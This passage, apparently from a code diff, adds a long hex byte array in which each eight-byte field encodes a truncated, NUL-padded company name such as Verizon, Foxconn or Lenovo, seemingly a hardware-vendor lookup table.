0x69, 0x73, 0x69, 0x6c, 0x69, 0x63, 0x61, +0x42, 0x69, 0x74, 0x77, 0x69, 0x73, 0x65, 0x43, +0x52, 0x65, 0x63, 0x68, 0x6e, 0x65, 0x72, 0x62, +0x53, 0x69, 0x6d, 0x6f, 0x6e, 0x73, 0x76, 0x6f, +0x49, 0x73, 0x6d, 0x61, 0x72, 0x74, 0x41, 0x6c, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x45, +0x52, 0x69, 0x67, 0x61, 0x64, 0x6f, 0x4c, 0x6c, +0x45, 0x6b, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, +0x54, 0x72, 0x69, 0x6c, 0x6f, 0x62, 0x69, 0x74, +0x57, 0x61, 0x74, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x61, 0x73, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x57, 0x6f, 0x6d, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x57, 0x69, 0x6e, 0x66, 0x69, 0x72, 0x6d, 0x54, +0x51, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x71, 0x4e, +0x55, 0x62, 0x69, 0x63, 0x71, 0x75, 0x69, 0x61, +0x50, 0x6f, 0x6c, 0x65, 0x77, 0x61, 0x6c, 0x6c, +0x41, 0x7a, 0x75, 0x72, 0x61, 0x79, 0x54, 0x65, +0x45, 0x76, 0x61, 0x6e, 0x74, 0x61, 0x67, 0x65, +0x53, 0x65, 0x6f, 0x75, 0x6c, 0x45, 0x6c, 0x65, +0x53, 0x75, 0x72, 0x76, 0x65, 0x69, 0x6c, 0x6c, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x71, 0x75, +0x53, 0x75, 0x72, 0x66, 0x69, 0x6c, 0x74, 0x65, +0x45, 0x61, 0x67, 0x65, 0x74, 0x49, 0x6e, 0x6e, +0x42, 0x65, 0x61, 0x6d, 0x65, 0x78, 0x4f, 0x79, +0x4f, 0x65, 0x74, 0x69, 0x6b, 0x65, 0x72, 0x53, +0x56, 0x65, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x54, +0x56, 0x74, 0x63, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x4e, 0x65, 0x77, +0x41, 0x6c, 0x74, 0x61, 0x44, 0x61, 0x74, 0x61, +0x4f, 0x70, 0x74, 0x65, 0x6b, 0x44, 0x69, 0x67, +0x42, 0x6f, 0x73, 0x74, 0x65, 0x78, 0x54, 0x65, +0x42, 0x6f, 0x64, 0x79, 0x6d, 0x65, 0x64, 0x69, +0x4a, 0x6f, 0x76, 0x69, 0x65, 0x77, 0x42, 0x65, +0x4f, 0x6d, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x54, 0x72, 0x69, 0x76, 0x75, 0x6d, 0x54, 0x65, +0x42, 0x65, 0x6c, 0x64, 0x65, 0x6e, 0x48, 0x69, +0x41, 0x70, 0x74, 0x6f, 0x73, 0x54, 0x65, 0x63, +0x48, 0x75, 0x73, 0x71, 0x76, 0x61, 0x72, 0x6e, +0x45, 0x66, 0x6c, 0x6f, 0x77, 0x2f, 0x53, 0x6d, +0x53, 0x6f, 0x72, 0x74, 0x65, 0x72, 0x53, 0x70, +0x54, 0x61, 0x6c, 0x6c, 0x61, 0x63, 0x4e, 0x65, +0x53, 0x63, 0x61, 0x53, 0x63, 0x68, 0x75, 0x63, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x6c, 0x61, 0x79, +0x4e, 0x6f, 0x76, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x52, 0x61, 0x79, 0x6c, 0x69, 0x6f, 0x73, 0x54, +0x54, 0x65, 0x73, 0x65, 0x71, 0x00, 0x00, 0x00, +0x43, 0x72, 0x65, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x43, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x79, 0x64, 0x6c, 0x65, 0x00, 0x00, 0x00, +0x47, 0x70, 0x69, 0x4b, 0x6f, 0x72, 0x65, 0x61, +0x45, 0x6e, 0x65, 0x6c, 0x70, 0x73, 0x00, 0x00, +0x53, 0x69, 0x74, 0x63, 0x6f, 0x72, 0x70, 0x00, +0x41, 0x2b, 0x56, 0x4c, 0x69, 0x6e, 0x6b, 0x54, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x6f, 0x70, 0x74, +0x49, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x73, 0x74, +0x44, 0x4f, 0x72, 0x74, 0x69, 0x7a, 0x43, 0x6f, +0x42, 0x6f, 0x67, 0x65, 0x4b, 0x6f, 0x6d, 0x70, +0x58, 0x69, 0x72, 0x6b, 0x61, 0x44, 0x61, 0x6d, +0x46, 0x79, 0x6c, 0x64, 0x65, 0x4d, 0x69, 0x63, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x4d, +0x45, 0x6c, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x61, 0x64, 0x69, 0x53, 0x63, 0x69, 0x65, +0x47, 0x65, 0x6d, 0x69, 0x6e, 0x69, 0x63, 0x6f, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x44, +0x57, 0x68, 0x65, 0x72, 0x65, 0x77, 0x68, 0x65, +0x54, 0x68, 0x65, 0x6f, 0x62, 0x72, 0x6f, 0x6d, +0x41, 0x62, 0x62, 0x4e, 0x56, 0x50, 0x6f, 0x77, +0x41, 0x76, 0x6f, 0x6e, 0x69, 0x63, 0x00, 0x00, +0x49, 0x63, 0x49, 0x6e, 0x74, 0x72, 0x61, 0x63, +0x4a, 0x65, 0x65, 0x6c, 0x61, 0x6e, 0x53, 0x68, +0x44, 0x65, 0x66, 0x69, 0x6e, 0x69, 0x75, 0x6d, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x65, 0x64, +0x4a, 0x61, 0x67, 0x75, 0x61, 0x72, 0x44, 0x65, +0x46, 0x69, 0x62, 0x65, 0x72, 0x67, 0x61, 0x74, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4b, +0x44, 0x61, 0x69, 0x6b, 0x79, 0x75, 0x6e, 0x67, +0x4b, 0x72, 0x61, 0x75, 0x73, 0x73, 0x4d, 0x61, +0x53, 0x75, 0x62, 0x31, 0x30, 0x00, 0x00, 0x00, +0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x65, +0x50, 0x74, 0x4e, 0x61, 0x76, 0x69, 0x63, 0x6f, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x53, 0x73, 0x6a, +0x53, 0x6f, 0x6c, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x65, 0x63, +0x43, 0x68, 0x67, 0x48, 0x6f, 0x73, 0x70, 0x69, +0x5a, 0x68, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f, +0x4d, 0x61, 0x6e, 0x74, 0x69, 0x73, 0x44, 0x65, +0x48, 0x6f, 0x6e, 0x48, 0x61, 0x69, 0x2d, 0x43, +0x53, 0x79, 0x73, 0x67, 0x72, 0x61, 0x74, 0x69, +0x4b, 0x6d, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, +0x53, 0x62, 0x67, 0x53, 0x61, 0x73, 0x00, 0x00, +0x50, 0x65, 0x6f, 0x70, 0x6c, 0x65, 0x6e, 0x65, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x64, +0x45, 0x6d, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x47, +0x49, 0x6e, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68, +0x53, 0x61, 0x67, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x41, 0x64, 0x61, 0x66, 0x72, 0x75, 0x69, 0x74, +0x50, 0x65, 0x70, 0x44, 0x69, 0x67, 0x69, 0x74, +0x45, 0x6d, 0x69, 0x7a, 0x6f, 0x6e, 0x4e, 0x65, +0x44, 0x69, 0x73, 0x72, 0x75, 0x70, 0x74, 0x69, +0x46, 0x6c, 0x79, 0x61, 0x75, 0x64, 0x69, 0x6f, +0x57, 0x75, 0x78, 0x69, 0x48, 0x6f, 0x6e, 0x67, +0x41, 0x6e, 0x61, 0x64, 0x65, 0x6d, 0x49, 0x6e, +0x43, 0x6f, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x63, +0x4e, 0x6f, 0x78, 0x75, 0x73, 0x42, 0x65, 0x69, +0x54, 0x65, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, +0x4c, 0x69, 0x6e, 0x6b, 0x70, 0x6f, 0x77, 0x65, +0x53, 0x6e, 0x61, 0x70, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x63, 0x73, 0x74, 0x5a, 0x61, 0x6f, 0x00, +0x57, 0x69, 0x6c, 0x6c, 0x49, 0x2d, 0x54, 0x65, +0x42, 0x6c, 0x75, 0x65, 0x57, 0x61, 0x76, 0x65, +0x53, 0x76, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x45, 0x64, 0x65, 0x6c, 0x74, 0x65, 0x63, 0x68, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x52, 0x65, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x61, 0x63, +0x47, 0x61, 0x6c, 0x6f, 0x72, 0x65, 0x4e, 0x65, +0x56, 0x69, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, +0x4d, 0x65, 0x6b, 0x72, 0x61, 0x4c, 0x61, 0x6e, +0x43, 0x68, 0x79, 0x69, 0x4c, 0x65, 0x65, 0x49, +0x56, 0x75, 0x7a, 0x69, 0x78, 0x00, 0x00, 0x00, +0x41, 0x63, 0x63, 0x75, 0x74, 0x6f, 0x6d, 0x65, +0x5a, 0x65, 0x6e, 0x74, 0x61, 0x6e, 0x00, 0x00, +0x46, 0x6f, 0x78, 0x63, 0x6f, 0x6e, 0x6e, 0x4e, +0x41, 0x78, 0x69, 0x69, 0x6d, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x73, 0x65, 0x73, 0x79, 0x41, 0x70, +0x4c, 0x79, 0x6e, 0x78, 0x73, 0x70, 0x72, 0x69, +0x4d, 0x61, 0x72, 0x69, 0x6e, 0x69, 0x49, 0x6d, +0x41, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x74, 0x65, 0x63, 0x53, 0x68, 0x61, 0x6e, +0x49, 0x6e, 0x66, 0x6f, 0x63, 0x6f, 0x72, 0x65, +0x43, 0x72, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x66, 0x66, 0x43, 0x6f, 0x6d, 0x6d, 0x69, +0x54, 0x65, 0x63, 0x6d, 0x6f, 0x62, 0x69, 0x6c, +0x54, 0x79, 0x6d, 0x70, 0x68, 0x61, 0x6e, 0x79, +0x43, 0x68, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x57, +0x45, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6c, 0x65, +0x41, 0x63, 0x63, 0x75, 0x70, 0x69, 0x78, 0x00, +0x54, 0x61, 0x73, 0x63, 0x61, 0x6e, 0x00, 0x00, +0x52, 0x77, 0x65, 0x45, 0x66, 0x66, 0x69, 0x7a, +0x46, 0x6f, 0x73, 0x68, 0x61, 0x6e, 0x48, 0x75, +0x4b, 0x75, 0x6c, 0x69, 0x74, 0x65, 0x53, 0x65, +0x4e, 0x69, 0x70, 0x72, 0x6f, 0x44, 0x69, 0x61, +0x45, 0x6e, 0x76, 0x79, 0x6c, 0x6f, 0x67, 0x69, +0x48, 0x61, 0x6d, 0x65, 0x54, 0x65, 0x63, 0x68, +0x53, 0x77, 0x69, 0x66, 0x74, 0x74, 0x65, 0x73, +0x44, 0x69, 0x6d, 0x65, 0x70, 0x53, 0x69, 0x73, +0x4d, 0x65, 0x73, 0x61, 0x4c, 0x61, 0x62, 0x73, +0x41, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6f, 0x78, 0x63, 0x61, 0x73, 0x74, 0x00, +0x45, 0x6e, 0x67, 0x69, 0x63, 0x61, 0x6d, 0x53, +0x5a, 0x68, 0x65, 0x6e, 0x67, 0x7a, 0x68, 0x6f, +0x49, 0x53, 0x45, 0x53, 0x52, 0x4c, 0x00, 0x00, +0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x58, +0x4e, 0x6d, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x69, 0x72, 0x65, 0x6d, 0x61, 0x78, 0x49, +0x56, 0x74, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x43, 0x61, 0x6c, 0x69, 0x62, 0x72, 0x65, 0x55, +0x4f, 0x6d, 0x6e, 0x69, 0x2d, 0x49, 0x64, 0x55, +0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x43, 0x6f, +0x44, 0x61, 0x73, 0x61, 0x6e, 0x4e, 0x65, 0x74, +0x47, 0x6c, 0x6f, 0x64, 0x69, 0x6f, 0x54, 0x65, +0x4f, 0x63, 0x74, 0x6f, 0x6e, 0x69, 0x6f, 0x6e, +0x51, 0x65, 0x65, 0x73, 0x41, 0x70, 0x73, 0x00, +0x57, 0x69, 0x6c, 0x64, 0x69, 0x78, 0x53, 0x72, +0x4e, 0x61, 0x64, 0x61, 0x73, 0x6e, 0x76, 0x00, +0x53, 0x75, 0x6e, 0x74, 0x65, 0x63, 0x53, 0x6f, +0x4e, 0x65, 0x6f, 0x6c, 0x61, 0x62, 0x43, 0x6f, +0x44, 0x65, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x73, 0x63, 0x61, 0x62, 0x6c, 0x65, +0x50, 0x72, 0x6f, 0x2d, 0x56, 0x69, 0x73, 0x69, +0x53, 0x69, 0x6d, 0x61, 0x63, 0x54, 0x65, 0x63, +0x57, 0x61, 0x72, 0x65, 0x68, 0x6f, 0x75, 0x73, +0x49, 0x6e, 0x74, 0x65, 0x67, 0x50, 0x72, 0x6f, +0x4c, 0x65, 0x6f, 0x6e, 0x74, 0x6f, 0x6e, 0x54, +0x41, 0x6d, 0x63, 0x72, 0x65, 0x73, 0x74, 0x54, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x64, 0x6f, 0x6f, +0x53, 0x74, 0x61, 0x72, 0x6b, 0x65, 0x79, 0x4c, +0x52, 0x61, 0x64, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x63, 0x6c, 0x65, 0x53, 0x66, 0x65, 0x00, +0x4e, 0x69, 0x6b, 0x65, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6b, 0x75, 0x72, 0x61, 0x49, 0x6e, +0x4f, 0x73, 0x6f, 0x72, 0x6e, 0x6f, 0x45, 0x6e, +0x57, 0x68, 0x61, 0x6c, 0x65, 0x79, 0x54, 0x65, +0x4f, 0x62, 0x69, 0x68, 0x61, 0x69, 0x54, 0x65, +0x50, 0x72, 0x6f, 0x63, 0x65, 0x6e, 0x74, 0x65, +0x52, 0x69, 0x76, 0x65, 0x74, 0x4e, 0x65, 0x74, +0x43, 0x72, 0x65, 0x61, 0x74, 0x63, 0x6f, 0x6d, +0x53, 0x6b, 0x79, 0x64, 0x69, 0x73, 0x6b, 0x00, +0x42, 0x69, 0x6f, 0x73, 0x6f, 0x75, 0x6e, 0x64, +0x50, 0x72, 0x69, 0x6e, 0x74, 0x63, 0x6f, 0x75, +0x43, 0x6f, 0x6e, 0x64, 0x75, 0x63, 0x74, 0x69, +0x42, 0x65, 0x63, 0x74, 0x6f, 0x6e, 0x44, 0x69, +0x42, 0x61, 0x75, 0x6d, 0x65, 0x72, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x6c, 0x75, 0x78, 0x54, +0x4c, 0x65, 0x73, 0x69, 0x72, 0x61, 0x4d, 0x61, +0x4e, 0x63, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x4a, 0x75, 0x6e, 0x67, 0x65, 0x72, 0x41, 0x75, +0x4a, 0x75, 0x6c, 0x6f, 0x6e, 0x67, 0x00, 0x00, +0x57, 0x69, 0x6e, 0x64, 0x75, 0x73, 0x6b, 0x6f, +0x42, 0x69, 0x7a, 0x6c, 0x69, 0x6e, 0x6b, 0x4b, +0x50, 0x61, 0x6e, 0x64, 0x61, 0x57, 0x69, 0x72, +0x55, 0x74, 0x63, 0x46, 0x69, 0x72, 0x65, 0x41, +0x52, 0x69, 0x63, 0x61, 0x72, 0x64, 0x6f, 0x50, +0x41, 0x72, 0x65, 0x76, 0x61, 0x4e, 0x70, 0x00, +0x4d, 0x65, 0x73, 0x6f, 0x6d, 0x61, 0x74, 0x69, +0x41, 0x65, 0x74, 0x68, 0x65, 0x72, 0x69, 0x73, +0x4f, 0x74, 0x73, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x70, 0x61, 0x53, 0x79, 0x73, +0x43, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x79, 0x6c, +0x57, 0x69, 0x65, 0x73, 0x6f, 0x6e, 0x54, 0x65, +0x53, 0x6b, 0x74, 0x62, 0x53, 0x6b, 0x69, 0x74, +0x54, 0x61, 0x62, 0x75, 0x63, 0x68, 0x69, 0x45, +0x48, 0x69, 0x74, 0x69, 0x44, 0x69, 0x67, 0x69, +0x54, 0x72, 0x69, 0x74, 0x65, 0x6b, 0x61, 0x00, +0x42, 0x65, 0x72, 0x74, 0x65, 0x6c, 0x53, 0x50, +0x4e, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x6c, +0x4d, 0x69, 0x6e, 0x69, 0x78, 0x54, 0x65, 0x63, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x70, +0x54, 0x72, 0x61, 0x63, 0x6b, 0x72, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x68, 0x65, +0x45, 0x74, 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, +0x4f, 0x75, 0x72, 0x61, 0x48, 0x65, 0x61, 0x6c, +0x50, 0x73, 0x73, 0x42, 0x65, 0x6c, 0x67, 0x69, +0x49, 0x6e, 0x73, 0x70, 0x69, 0x72, 0x65, 0x54, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x63, 0x61, +0x53, 0x61, 0x6d, 0x77, 0x6f, 0x6e, 0x66, 0x61, +0x4f, 0x70, 0x73, 0x65, 0x6e, 0x73, 0x53, 0x6f, +0x4e, 0x6c, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x74, +0x53, 0x69, 0x74, 0x61, 0x65, 0x6c, 0x53, 0x50, +0x48, 0x65, 0x6c, 0x69, 0x78, 0x74, 0x65, 0x63, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x45, +0x56, 0x44, 0x53, 0x56, 0x69, 0x64, 0x65, 0x6f, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x50, 0x72, 0x6f, +0x45, 0x6e, 0x76, 0x69, 0x6e, 0x65, 0x74, 0x00, +0x54, 0x6d, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, +0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x76, 0x00, +0x4d, 0x65, 0x6c, 0x70, 0x65, 0x72, 0x00, 0x00, +0x56, 0x6e, 0x70, 0x74, 0x54, 0x65, 0x63, 0x68, +0x53, 0x69, 0x63, 0x6f, 0x6e, 0x53, 0x72, 0x6c, +0x57, 0x65, 0x6c, 0x6c, 0x61, 0x76, 0x54, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x63, 0x61, 0x6e, +0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x65, 0x6b, 0x45, +0x4e, 0x6a, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x43, 0x61, 0x73, 0x68, 0x6d, 0x61, 0x73, 0x74, +0x52, 0x61, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x54, +0x42, 0x6f, 0x78, 0x6c, 0x6f, 0x63, 0x6b, 0x00, +0x56, 0x69, 0x61, 0x6c, 0x69, 0x73, 0x42, 0x76, +0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x44, 0x6d, +0x50, 0x54, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x65, 0x6e, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x46, +0x53, 0x61, 0x65, 0x68, 0x61, 0x6e, 0x48, 0x69, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x4b, +0x47, 0x65, 0x72, 0x68, 0x61, 0x72, 0x64, 0x44, +0x58, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x54, 0x65, +0x56, 0x65, 0x65, 0x64, 0x69, 0x6d, 0x73, 0x4c, +0x4f, 0x70, 0x65, 0x6e, 0x76, 0x6f, 0x78, 0x43, +0x54, 0x69, 0x6d, 0x65, 0x44, 0x6f, 0x6d, 0x61, +0x54, 0x6f, 0x74, 0x61, 0x6c, 0x41, 0x76, 0x69, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x62, 0x72, 0x69, +0x44, 0x6c, 0x69, 0x54, 0x61, 0x69, 0x77, 0x61, +0x47, 0x70, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x6c, 0x79, 0x74, 0x72, 0x6f, 0x6e, +0x45, 0x72, 0x61, 0x74, 0x68, 0x69, 0x6e, 0x6b, +0x4a, 0x6d, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x48, 0x61, 0x6c, 0x6f, 0x6e, 0x67, 0x4d, 0x69, +0x47, 0x64, 0x4d, 0x69, 0x73, 0x73, 0x69, 0x6f, +0x41, 0x63, 0x75, 0x74, 0x76, 0x69, 0x73, 0x74, +0x41, 0x6d, 0x67, 0x65, 0x6e, 0x55, 0x53, 0x41, +0x53, 0x6b, 0x79, 0x74, 0x61, 0x70, 0x00, 0x00, +0x50, 0x69, 0x78, 0x6f, 0x6e, 0x49, 0x6d, 0x61, +0x53, 0x43, 0x41, 0x64, 0x64, 0x2d, 0x50, 0x72, +0x43, 0x6f, 0x72, 0x65, 0x73, 0x79, 0x73, 0x00, +0x43, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x56, 0x69, +0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x45, 0x6c, +0x53, 0x79, 0x67, 0x6e, 0x48, 0x6f, 0x75, 0x73, +0x43, 0x65, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x41, 0x78, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63, +0x41, 0x75, 0x6d, 0x61, 0x52, 0x69, 0x65, 0x73, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x47, +0x42, 0x65, 0x63, 0x6b, 0x65, 0x72, 0x2d, 0x41, +0x50, 0x6f, 0x6c, 0x61, 0x72, 0x6c, 0x69, 0x6e, +0x4a, 0x73, 0x63, 0x49, 0x72, 0x62, 0x69, 0x73, +0x41, 0x76, 0x74, 0x72, 0x61, 0x63, 0x65, 0x43, +0x41, 0x6d, 0x69, 0x63, 0x75, 0x73, 0x53, 0x6b, +0x44, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, +0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, 0x42, +0x45, 0x6e, 0x69, 0x6d, 0x61, 0x69, 0x00, 0x00, +0x4d, 0x61, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x46, 0x72, +0x41, 0x69, 0x72, 0x63, 0x75, 0x76, 0x65, 0x00, +0x53, 0x65, 0x69, 0x6e, 0x65, 0x49, 0x6d, 0x61, +0x47, 0x65, 0x4d, 0x65, 0x64, 0x69, 0x63, 0x61, +0x56, 0x69, 0x76, 0x61, 0x74, 0x65, 0x6c, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x67, 0x72, 0x61, 0x66, +0x41, 0x76, 0x61, 0x74, 0x41, 0x75, 0x74, 0x6f, +0x41, 0x62, 0x69, 0x73, 0x79, 0x73, 0x74, 0x65, +0x53, 0x74, 0x61, 0x49, 0x6e, 0x66, 0x69, 0x6e, +0x41, 0x6c, 0x66, 0x72, 0x65, 0x64, 0x4b, 0x61, +0x43, 0x61, 0x72, 0x72, 0x79, 0x54, 0x65, 0x63, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x49, 0x6e, +0x4c, 0x75, 0x78, 0x75, 0x6c, 0x00, 0x00, 0x00, +0x46, 0x61, 0x73, 0x74, 0x65, 0x63, 0x49, 0x6d, +0x46, 0x6c, 0x61, 0x74, 0x66, 0x72, 0x6f, 0x67, +0x43, 0x61, 0x6d, 0x62, 0x72, 0x69, 0x6f, 0x6e, +0x42, 0x6c, 0x75, 0x65, 0x73, 0x6b, 0x79, 0x00, +0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x77, 0x6f, +0x46, 0x69, 0x62, 0x72, 0x6c, 0x69, 0x6e, 0x6b, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x41, 0x6c, +0x52, 0x66, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, +0x50, 0x6c, 0x61, 0x73, 0x74, 0x69, 0x63, 0x4c, +0x56, 0x65, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6f, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x6d, 0x74, 0x72, 0x61, 0x6e, 0x56, 0x69, +0x53, 0x75, 0x6e, 0x43, 0x75, 0x70, 0x69, 0x64, +0x42, 0x75, 0x73, 0x77, 0x61, 0x72, 0x65, 0x44, +0x46, 0x65, 0x6e, 0x67, 0x6c, 0x69, 0x61, 0x6e, +0x4d, 0x63, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x2d, 0x45, 0x6c, +0x44, 0x73, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, +0x4c, 0x74, 0x69, 0x52, 0x65, 0x65, 0x6e, 0x65, +0x44, 0x66, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, +0x4b, 0x6c, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x00, +0x56, 0x69, 0x62, 0x69, 0x63, 0x6f, 0x6d, 0x43, +0x55, 0x6c, 0x74, 0x69, 0x6d, 0x65, 0x64, 0x69, +0x43, 0x68, 0x61, 0x72, 0x67, 0x65, 0x73, 0x74, +0x43, 0x6f, 0x62, 0x68, 0x61, 0x6d, 0x00, 0x00, +0x44, 0x61, 0x74, 0x72, 0x69, 0x75, 0x6d, 0x00, +0x51, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, +0x41, 0x72, 0x6b, 0x49, 0x6e, 0x66, 0x6f, 0x73, +0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x00, 0x00, +0x44, 0x65, 0x6c, 0x61, 0x76, 0x61, 0x6c, 0x49, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x45, 0x6c, +0x48, 0x79, 0x62, 0x72, 0x69, 0x64, 0x73, 0x65, +0x4b, 0x65, 0x74, 0x72, 0x61, 0x00, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x63, 0x72, 0x69, 0x62, +0x4c, 0x79, 0x76, 0x65, 0x4d, 0x69, 0x6e, 0x64, +0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x75, 0x62, 0x65, +0x42, 0x6c, 0x75, 0x65, 0x62, 0x61, 0x6e, 0x6b, +0x52, 0x61, 0x67, 0x73, 0x64, 0x61, 0x6c, 0x65, +0x56, 0x69, 0x74, 0x65, 0x63, 0x47, 0x72, 0x6f, +0x4d, 0x61, 0x65, 0x73, 0x74, 0x72, 0x6f, 0x57, +0x41, 0x72, 0x61, 0x6e, 0x74, 0x69, 0x61, 0x32, +0x48, 0x5a, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x00, +0x41, 0x64, 0x61, 0x78, 0x79, 0x73, 0x53, 0x6f, +0x4a, 0x73, 0x63, 0x53, 0x64, 0x6f, 0x43, 0x68, +0x50, 0x65, 0x6e, 0x74, 0x61, 0x47, 0x65, 0x73, +0x50, 0x61, 0x72, 0x6b, 0x69, 0x6e, 0x67, 0x42, +0x4c, 0x69, 0x6d, 0x65, 0x49, 0x6e, 0x73, 0x74, +0x45, 0x75, 0x74, 0x72, 0x6f, 0x76, 0x69, 0x73, +0x54, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x53, 0x65, +0x49, 0x6e, 0x66, 0x69, 0x63, 0x6f, 0x6d, 0x6d, +0x45, 0x72, 0x77, 0x69, 0x6e, 0x50, 0x65, 0x74, +0x45, 0x63, 0x6f, 0x74, 0x61, 0x6c, 0x69, 0x74, +0x47, 0x6c, 0x69, 0x74, 0x65, 0x6c, 0x53, 0x74, +0x47, 0x69, 0x6d, 0x62, 0x61, 0x6c, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x75, 0x73, 0x49, 0x64, 0x53, +0x42, 0x69, 0x6f, 